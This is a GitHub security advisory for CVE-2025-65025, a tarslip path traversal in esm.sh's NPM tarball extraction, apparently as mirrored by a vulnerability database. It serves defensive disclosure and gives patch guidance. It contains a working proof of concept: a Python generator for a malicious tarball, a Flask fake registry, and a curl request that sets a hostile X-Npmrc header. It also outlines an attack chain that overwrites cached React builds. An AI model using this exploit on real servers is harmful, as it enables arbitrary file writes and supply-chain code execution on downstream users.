ghsa-h3mw-4f23-gwpw
Vulnerability from github
Summary
The esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction.
An attacker can craft a malicious NPM package containing specially crafted file paths (e.g., package/../../tmp/evil.js).
When esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.
Uploading files containing ../ in the path is not allowed on official registries (npm, GitHub), but the X-Npmrc header allows specifying any arbitrary registry.
By setting the registry to an attacker-controlled server via the X-Npmrc header, this vulnerability can be triggered.
Details
file: server/npmrc.go
line: 552-567
```go func extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {
pkgDir := path.Join(installDir, "node_modules", pkgName)
tr := tar.NewReader(unziped)
for {
h, err := tr.Next()
// ...
// Strip tarball root directory
_, name := utils.SplitByFirstByte(h.Name, '/') // "package/../../tmp/evil" → "../../tmp/evil"
filename := path.Join(pkgDir, name) // ← No validation
if h.Typeflag != tar.TypeReg {
continue
}
// Extension filtering
extname := path.Ext(filename)
if !(extname != "" && (allowed_extensions)) {
continue // Only extract .js, .css, .json, etc.
}
ensureDir(path.Dir(filename))
f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)
// ← File created without path validation!
// ...
}
}
``
The code usespath.Join(pkgDir, name), which normalizes the path and allows sequences like../../` to escape the intended package directory.
pkgDir: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg
name: ../../../../../../tmp/pyozzi.js
result: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js
→ /tmp/pyozzi.js (path traversal)
PoC
Test On - esm.sh Official Docker Image (latest version) - python 3.11 - flask (for attacker registry server)
Step 1. Create Malicious tarball file
```python
!/usr/bin/env python3
""" Malicious Tarball Generator for esm.sh Path Traversal Creates tarball with path traversal payloads """
import tarfile import io,os import json from datetime import datetime
def create_malicious_tarball(package_name="test-tarslip"):
# PoC file Content
poc_payload = b"""// Path Traversal PoC
// This file was created via tarslip attack
// Location: /tmp/pyozzi.js
console.log('[!!!] Path Traversal Successful!');
console.log('Package: %s');
console.log('Researcher: pyozzi');
module.exports = {
poc: true,
vulnerability: 'CWE-22 Path Traversal',
package: '%s'
};
""" % (package_name.encode(), package_name.encode())
files = {
"package/index.js": b"module.exports = { version: '1.0.0', test: true };",
"package/package.json": json.dumps({
"name": package_name,
"version": "1.0.0",
"description": "Test package for security research",
"main": "index.js",
"keywords": ["test", "security", "research"],
"author": "Security Researcher",
"license": "MIT"
}, indent=2).encode(),
"package/../../../../../../../../../tmp/pyozzi.js": poc_payload,
}
# Create Tarball
tarball_name = f"{package_name}-1.0.0.tgz"
print("Creating tarball with payloads:")
print()
with tarfile.open(tarball_name, "w:gz") as tar:
for name, content in files.items():
info = tarfile.TarInfo(name=name)
info.size = len(content)
info.mode = 0o755
info.mtime = int(datetime.now().timestamp())
tar.addfile(info, io.BytesIO(content))
print(f"File: {tarball_name}")
print(f"Size: {os.path.getsize(tarball_name)} bytes")
# Check Tarball Content
print("Tarball contents:")
with tarfile.open(tarball_name, "r:gz") as tar:
for member in tar.getmembers():
marker = ">> " if "../" in member.name else " "
mode = oct(member.mode)[-3:]
print(f"{marker}{member.name} (mode: {mode})")
if name == 'main': create_malicious_tarball() ```
output: ```bash $ python create_tarball.py Creating tarball with payloads:
File: test-tarslip-1.0.0.tgz Size: 545 bytes Tarball contents: package/index.js (mode: 755) package/package.json (mode: 755)
package/../../../../../../../../../tmp/pyozzi.js (mode: 755) ```
Step 2. Run Fake Registry Server
```python
fake-npm-registry.py
from flask import Flask, jsonify, send_file
app = Flask(name)
MALICIOUS_TARBALL = "/tmp/test-tarslip-1.0.0.tgz" # HERE MALICIOUS TAR PATH REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER
@app.route('/') def get_metadata(package): return jsonify({ "name": package, "versions": { "1.0.0": { "name": package, "version": "1.0.0", "dist": { "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz" } } }, "dist-tags": {"latest": "1.0.0"} })
@app.route('//-/') def get_tarball(package, filename): return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')
if name == 'main': app.run(host='0.0.0.0', port=9999) ```
bash
python3 fake-npm-registry.py
Step 3. Request Malicious Package with X-Npmrc Header
bash
curl "http://localhost:8080/test-tarslip@1.0.0" \
-H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'
Step 4. Check Path Traversal
```bash docker exec esm-test cat /tmp/pyozzi.js
ouput:
// Path Traversal PoC // This file was created via tarslip attack // Location: /tmp/pyozzi.js
console.log('[!!!] Path Traversal Successful!');
console.log('Package: test-tarslip');
console.log('Researcher: pyozzi');
module.exports = {
poc: true,
vulnerability: 'CWE-22 Path Traversal',
package: 'test-tarslip'
};
... ```
Impact
This vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh's cache. Package lists and file paths can be discovered through esm.sh's REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.
Attack Chain:
1. Attacker identifies popular packages and their cached build file locations via API enumeration
2. Uses path traversal to overwrite cached build files (e.g., /esm/storage/modules/react@18.3.1/es2022/react.mjs)
3. Injects malicious code into the build files
4. Any application importing these packages receives the backdoored version
5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)
Impact Scale: - Affects all downstream users of compromised packages - Can target specific frameworks (React, Vue, etc.) used by thousands of applications - Enables XSS in browsers, RCE in Electron applications - Difficult to detect as traffic appears legitimate
Patch
- Path validation is required when unpacking a tar file.
X-Npmrcwhitelist logic is required.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/esm-dev/esm.sh"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20251117232647-9d77b88c3207"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65025"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-19T20:30:00Z",
"nvd_published_at": "2025-11-19T18:15:49Z",
"severity": "HIGH"
},
"details": "### Summary\nThe esm.sh CDN service is vulnerable to a Path Traversal (CWE-22) vulnerability during NPM package tarball extraction. \nAn attacker can craft a malicious NPM package containing specially crafted file paths (e.g., `package/../../tmp/evil.js`). \nWhen esm.sh downloads and extracts this package, files may be written to arbitrary locations on the server, escaping the intended extraction directory.\n\nUploading files containing `../` in the path is not allowed on official registries (npm, GitHub), but the `X-Npmrc` header allows specifying any arbitrary registry. \nBy setting the registry to an attacker-controlled server via the `X-Npmrc` header, this vulnerability can be triggered.\n\n### Details\n**file:** `server/npmrc.go` \n**line:** 552-567\n\n```go\nfunc extractPackageTarball(installDir string, pkgName string, tarball io.Reader) (err error) {\n \n pkgDir := path.Join(installDir, \"node_modules\", pkgName)\n \n tr := tar.NewReader(unziped)\n for {\n h, err := tr.Next()\n // ...\n \n // Strip tarball root directory\n _, name := utils.SplitByFirstByte(h.Name, \u0027/\u0027) // \"package/../../tmp/evil\" \u2192 \"../../tmp/evil\"\n filename := path.Join(pkgDir, name) // \u2190 No validation\n \n if h.Typeflag != tar.TypeReg {\n continue \n }\n \n // Extension filtering\n extname := path.Ext(filename)\n if !(extname != \"\" \u0026\u0026 (allowed_extensions)) {\n continue // Only extract .js, .css, .json, etc.\n }\n \n ensureDir(path.Dir(filename))\n f, err := os.OpenFile(filename, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0644)\n // \u2190 File created without path validation!\n // ...\n }\n}\n```\nThe code uses `path.Join(pkgDir, name)`, which normalizes the path and allows sequences like `../../` to escape the intended package directory.\n\n```\npkgDir: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg\nname: ../../../../../../tmp/pyozzi.js\nresult: /esm/npm/evil-pkg@1.0.0/node_modules/evil-pkg/../../../../../../tmp/pyozzi.js\n \u2192 /tmp/pyozzi.js (path traversal)\n```\n\n### PoC\n**Test On**\n- esm.sh Official Docker Image (latest version)\n- python 3.11\n- flask (for attacker registry server)\n\n### Step 1. Create Malicious tarball file\n```python\n#!/usr/bin/env python3\n\"\"\"\nMalicious Tarball Generator for esm.sh Path Traversal\nCreates tarball with path traversal payloads\n\"\"\"\n\nimport tarfile\nimport io,os\nimport json\nfrom datetime import datetime\n\ndef create_malicious_tarball(package_name=\"test-tarslip\"):\n \n # PoC file Content\n poc_payload = b\"\"\"// Path Traversal PoC\n // This file was created via tarslip attack\n // Location: /tmp/pyozzi.js\n\n console.log(\u0027[!!!] Path Traversal Successful!\u0027);\n console.log(\u0027Package: %s\u0027);\n console.log(\u0027Researcher: pyozzi\u0027);\n\n module.exports = {\n poc: true,\n vulnerability: \u0027CWE-22 Path Traversal\u0027,\n package: \u0027%s\u0027\n };\n \"\"\" % (package_name.encode(), package_name.encode())\n \n files = {\n \"package/index.js\": b\"module.exports = { version: \u00271.0.0\u0027, test: true };\",\n \"package/package.json\": json.dumps({\n \"name\": package_name,\n \"version\": \"1.0.0\",\n \"description\": \"Test package for security research\",\n \"main\": \"index.js\",\n \"keywords\": [\"test\", \"security\", \"research\"],\n \"author\": \"Security Researcher\",\n \"license\": \"MIT\"\n }, indent=2).encode(),\n \n \"package/../../../../../../../../../tmp/pyozzi.js\": poc_payload,\n }\n \n # Create Tarball\n \n tarball_name = f\"{package_name}-1.0.0.tgz\"\n \n print(\"Creating tarball with payloads:\")\n print()\n \n with tarfile.open(tarball_name, \"w:gz\") as tar:\n for name, content in files.items():\n info = tarfile.TarInfo(name=name)\n info.size = len(content)\n info.mode = 0o755\n info.mtime = int(datetime.now().timestamp())\n tar.addfile(info, io.BytesIO(content))\n\n print(f\"File: {tarball_name}\")\n print(f\"Size: {os.path.getsize(tarball_name)} bytes\")\n\n # Check Tarball Content\n print(\"Tarball contents:\")\n with tarfile.open(tarball_name, \"r:gz\") as tar:\n for member in tar.getmembers():\n marker = \"\u003e\u003e \" if \"../\" in member.name else \" \"\n mode = oct(member.mode)[-3:]\n print(f\"{marker}{member.name} (mode: {mode})\")\n\nif __name__ == \u0027__main__\u0027:\n create_malicious_tarball()\n```\n\n**output:**\n```bash\n $ python create_tarball.py\nCreating tarball with payloads:\n\nFile: test-tarslip-1.0.0.tgz\nSize: 545 bytes\nTarball contents:\n package/index.js (mode: 755)\n package/package.json (mode: 755)\n\u003e\u003e package/../../../../../../../../../tmp/pyozzi.js (mode: 755)\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-tarslip-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route(\u0027/\u003cpackage\u003e\u0027)\ndef get_metadata(package):\n return jsonify({\n \"name\": package,\n \"versions\": {\n \"1.0.0\": {\n \"name\": package,\n \"version\": \"1.0.0\",\n \"dist\": {\n \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n }\n }\n },\n \"dist-tags\": {\"latest\": \"1.0.0\"}\n })\n\n@app.route(\u0027/\u003cpackage\u003e/-/\u003cfilename\u003e\u0027)\ndef get_tarball(package, filename):\n return send_file(MALICIOUS_TARBALL, mimetype=\u0027application/gzip\u0027)\n\nif __name__ == \u0027__main__\u0027:\n app.run(host=\u00270.0.0.0\u0027, port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\n### Step 3. Request Malicious Package with X-Npmrc Header\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n -H \u0027X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}\u0027\n```\n\n### Step 4. Check Path Traversal\n```bash\ndocker exec esm-test cat /tmp/pyozzi.js\n\n# ouput:\n// Path Traversal PoC\n // This file was created via tarslip attack\n // Location: /tmp/pyozzi.js\n\n console.log(\u0027[!!!] Path Traversal Successful!\u0027);\n console.log(\u0027Package: test-tarslip\u0027);\n console.log(\u0027Researcher: pyozzi\u0027);\n\n module.exports = {\n poc: true,\n vulnerability: \u0027CWE-22 Path Traversal\u0027,\n package: \u0027test-tarslip\u0027\n };\n...\n```\n\n### Impact\nThis vulnerability enables large-scale remote code execution on end-user endpoints through supply chain attacks. The path traversal vulnerability allows attackers to overwrite package resources stored in esm.sh\u0027s cache. Package lists and file paths can be discovered through esm.sh\u0027s REST API endpoints. By overwriting these resource files with malicious code, arbitrary code execution occurs on all endpoints that subsequently import the compromised packages.\n\n**Attack Chain:**\n1. Attacker identifies popular packages and their cached build file locations via API enumeration\n2. Uses path traversal to overwrite cached build files (e.g., `/esm/storage/modules/react@18.3.1/es2022/react.mjs`)\n3. Injects malicious code into the build files\n4. Any application importing these packages receives the backdoored version\n5. Malicious code executes on victim endpoints (browsers, Electron apps, Deno applications)\n\n**Impact Scale:**\n- Affects all downstream users of compromised packages\n- Can target specific frameworks (React, Vue, etc.) used by thousands of applications\n- Enables XSS in browsers, RCE in Electron applications\n- Difficult to detect as traffic appears legitimate\n\n### Patch\n1. Path validation is required when unpacking a tar file.\n2. `X-Npmrc` whitelist logic is required.",
"id": "GHSA-h3mw-4f23-gwpw",
"modified": "2025-11-27T08:29:22Z",
"published": "2025-11-19T20:30:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-h3mw-4f23-gwpw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65025"
},
{
"type": "WEB",
"url": "https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16"
},
{
"type": "PACKAGE",
"url": "https://github.com/esm-dev/esm.sh"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "esm.sh CDN service has arbitrary file write via tarslip"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.